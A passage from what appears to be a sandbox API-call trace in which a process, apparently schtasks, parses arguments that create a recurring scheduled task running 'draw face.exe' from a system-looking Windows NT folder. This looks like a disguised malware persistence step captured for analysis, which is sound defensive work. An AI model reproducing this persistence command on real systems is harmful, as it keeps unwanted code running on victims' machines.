(lpString="mo") returned 2 [0119.768] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.768] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|u|") returned 3 [0119.768] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.768] lstrlenW (lpString="|u|") returned 3 [0119.768] lstrlenW (lpString="|mo|") returned 4 [0119.768] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.768] lstrlenW (lpString="p") returned 1 [0119.768] lstrlenW (lpString="p") returned 1 [0119.768] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.768] lstrlenW (lpString="mo") returned 2 [0119.768] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.768] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|p|") returned 3 [0119.768] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.768] lstrlenW (lpString="|p|") returned 3 [0119.768] lstrlenW (lpString="|mo|") returned 4 [0119.768] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.768] lstrlenW (lpString="ru") returned 2 [0119.768] lstrlenW (lpString="ru") returned 2 [0119.769] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.769] lstrlenW (lpString="mo") returned 2 [0119.769] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.769] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ru|") returned 4 [0119.769] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.769] lstrlenW (lpString="|ru|") returned 4 [0119.769] lstrlenW (lpString="|mo|") returned 4 [0119.769] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0119.769] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.769] lstrlenW (lpString="rp") returned 2 [0119.769] lstrlenW (lpString="rp") returned 2 [0119.769] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.769] lstrlenW (lpString="mo") returned 2 [0119.769] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.769] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|rp|") returned 4 [0119.770] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.770] lstrlenW (lpString="|rp|") returned 4 [0119.770] lstrlenW (lpString="|mo|") returned 4 [0119.770] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0119.770] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.770] lstrlenW (lpString="sc") returned 2 [0119.770] lstrlenW (lpString="sc") returned 2 [0119.770] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.770] lstrlenW (lpString="mo") returned 2 [0119.770] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.770] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.770] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.770] lstrlenW (lpString="|sc|") returned 4 [0119.770] lstrlenW (lpString="|mo|") returned 4 [0119.770] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0119.770] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.770] lstrlenW (lpString="mo") returned 2 [0119.770] lstrlenW (lpString="mo") returned 2 [0119.770] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.771] lstrlenW (lpString="mo") returned 2 [0119.771] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.771] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.771] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.771] lstrlenW (lpString="|mo|") returned 4 [0119.771] lstrlenW (lpString="|mo|") returned 4 [0119.771] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.771] _memicmp (_Buf1=0x160526baa10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] lstrlenW (lpString=" \x09") returned 2 [0119.771] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0119.771] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0119.771] GetLastError () returned 0x0 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] lstrlenW (lpString="9") returned 1 [0119.771] GetProcessHeap () returned 0x160526b0000 [0119.771] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x4) returned 0x160526b4a60 [0119.771] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.772] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.772] lstrlenW (lpString="/tr") returned 3 [0119.772] lstrlenW (lpString="-/") returned 2 [0119.772] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.772] lstrlenW (lpString="create") returned 6 [0119.772] lstrlenW (lpString="create") returned 6 [0119.772] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.772] lstrlenW (lpString="tr") returned 2 [0119.772] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.772] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.772] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.772] lstrlenW (lpString="|create|") returned 8 [0119.772] lstrlenW (lpString="|tr|") returned 4 [0119.772] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0119.772] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.772] lstrlenW (lpString="?") returned 1 [0119.772] lstrlenW (lpString="?") returned 1 [0119.772] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.772] lstrlenW (lpString="tr") returned 2 [0119.772] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.772] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|?|") returned 3 [0119.772] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.772] lstrlenW (lpString="|?|") returned 3 [0119.772] lstrlenW (lpString="|tr|") returned 4 [0119.772] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.772] lstrlenW (lpString="s") returned 1 [0119.773] lstrlenW (lpString="s") returned 1 [0119.773] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] lstrlenW (lpString="tr") returned 2 [0119.773] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|s|") returned 3 [0119.773] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.773] lstrlenW (lpString="|s|") returned 3 [0119.773] lstrlenW (lpString="|tr|") returned 4 [0119.773] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.773] lstrlenW (lpString="u") returned 1 [0119.773] lstrlenW (lpString="u") returned 1 [0119.773] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] lstrlenW (lpString="tr") returned 2 [0119.773] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|u|") returned 3 [0119.773] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.773] lstrlenW (lpString="|u|") returned 3 [0119.773] lstrlenW (lpString="|tr|") returned 4 [0119.773] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.773] lstrlenW (lpString="p") returned 1 [0119.773] lstrlenW (lpString="p") returned 1 [0119.773] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] lstrlenW (lpString="tr") returned 2 [0119.773] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.773] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|p|") returned 3 [0119.774] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.774] lstrlenW (lpString="|p|") returned 3 [0119.774] lstrlenW (lpString="|tr|") returned 4 [0119.774] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.774] lstrlenW (lpString="ru") returned 2 [0119.774] lstrlenW (lpString="ru") returned 2 [0119.774] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.774] lstrlenW (lpString="tr") returned 2 [0119.774] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.774] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ru|") returned 4 [0119.774] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.774] lstrlenW (lpString="|ru|") returned 4 [0119.774] lstrlenW (lpString="|tr|") returned 4 [0119.774] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0119.774] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.774] lstrlenW (lpString="rp") returned 2 [0119.774] lstrlenW (lpString="rp") returned 2 [0119.774] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.774] lstrlenW (lpString="tr") returned 2 [0119.774] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.774] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|rp|") returned 4 [0119.774] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.774] lstrlenW (lpString="|rp|") returned 4 [0119.774] lstrlenW (lpString="|tr|") returned 4 [0119.774] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0119.774] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.775] lstrlenW (lpString="sc") returned 2 [0119.775] lstrlenW (lpString="sc") returned 2 [0119.775] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.775] lstrlenW (lpString="tr") returned 2 [0119.775] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.775] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.775] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.775] lstrlenW (lpString="|sc|") returned 4 [0119.775] lstrlenW (lpString="|tr|") returned 4 [0119.775] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0119.775] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.775] lstrlenW (lpString="mo") returned 2 [0119.775] lstrlenW (lpString="mo") returned 2 [0119.775] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.775] lstrlenW (lpString="tr") returned 2 [0119.775] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.775] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.775] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.775] lstrlenW (lpString="|mo|") returned 4 [0119.775] lstrlenW (lpString="|tr|") returned 4 [0119.775] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0119.775] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.775] lstrlenW (lpString="d") returned 1 [0119.775] lstrlenW (lpString="d") returned 1 [0119.775] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] lstrlenW (lpString="tr") returned 2 [0119.776] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|d|") returned 3 [0119.776] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.776] lstrlenW (lpString="|d|") returned 3 [0119.776] lstrlenW (lpString="|tr|") returned 4 [0119.776] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.776] lstrlenW (lpString="m") returned 1 [0119.776] lstrlenW (lpString="m") returned 1 [0119.776] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] lstrlenW (lpString="tr") returned 2 [0119.776] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|m|") returned 3 [0119.776] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.776] lstrlenW (lpString="|m|") returned 3 [0119.776] lstrlenW (lpString="|tr|") returned 4 [0119.776] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.776] lstrlenW (lpString="i") returned 1 [0119.776] lstrlenW (lpString="i") returned 1 [0119.776] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] lstrlenW (lpString="tr") returned 2 [0119.776] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.776] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|i|") returned 3 [0119.776] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.777] lstrlenW (lpString="|i|") returned 3 [0119.777] lstrlenW (lpString="|tr|") returned 4 [0119.777] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.777] lstrlenW (lpString="tn") returned 2 [0119.777] lstrlenW (lpString="tn") returned 2 [0119.777] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.777] lstrlenW (lpString="tr") returned 2 [0119.777] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.777] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.777] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.777] lstrlenW (lpString="|tn|") returned 4 [0119.777] lstrlenW (lpString="|tr|") returned 4 [0119.777] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0119.777] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.777] lstrlenW (lpString="tr") returned 2 [0119.777] lstrlenW (lpString="tr") returned 2 [0119.777] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.777] lstrlenW (lpString="tr") returned 2 [0119.777] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.777] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.777] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.777] lstrlenW (lpString="|tr|") returned 4 [0119.777] lstrlenW (lpString="|tr|") returned 4 [0119.777] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0119.777] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.817] lstrlenW (lpString="-/") returned 2 [0119.817] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.817] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0119.817] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.817] _memicmp (_Buf1=0x160526b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.817] _memicmp (_Buf1=0x160526bac50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] lstrlenW (lpString="'C") returned 2 [0119.817] lstrlenW (lpString="-/") returned 2 [0119.817] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.817] _memicmp (_Buf1=0x160526baa10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.817] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.818] GetProcessHeap () returned 0x160526b0000 [0119.818] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526baa30) returned 1 [0119.818] GetProcessHeap () returned 0x160526b0000 [0119.818] RtlReAllocateHeap (Heap=0x160526b0000, Flags=0xc, Ptr=0x160526baa30, Size=0x86) returned 0x160526b3c00 [0119.818] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.818] lstrlenW (lpString=" \x09") returned 2 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0119.818] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0119.818] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0119.818] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0119.819] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0119.819] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0119.820] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0119.820] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0119.820] GetLastError () returned 0x0 [0119.820] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.820] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0119.820] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.820] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.820] lstrlenW (lpString="/f") returned 2 [0119.820] lstrlenW (lpString="-/") returned 2 [0119.820] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0119.820] lstrlenW (lpString="create") returned 6 [0119.820] lstrlenW (lpString="create") returned 6 [0119.821] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.821] lstrlenW (lpString="f") returned 1 [0119.821] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.821] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|create|") returned 8 [0119.821] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.821] lstrlenW (lpString="|create|") returned 8 [0119.821] lstrlenW (lpString="|f|") returned 3 [0119.821] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0119.821] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.821] lstrlenW (lpString="?") returned 1 [0119.821] lstrlenW (lpString="?") returned 1 [0119.821] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.821] lstrlenW (lpString="f") returned 1 [0119.821] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.821] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|?|") returned 3 [0119.821] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.821] lstrlenW (lpString="|?|") returned 3 [0119.821] lstrlenW (lpString="|f|") returned 3 [0119.821] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0119.821] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.821] lstrlenW 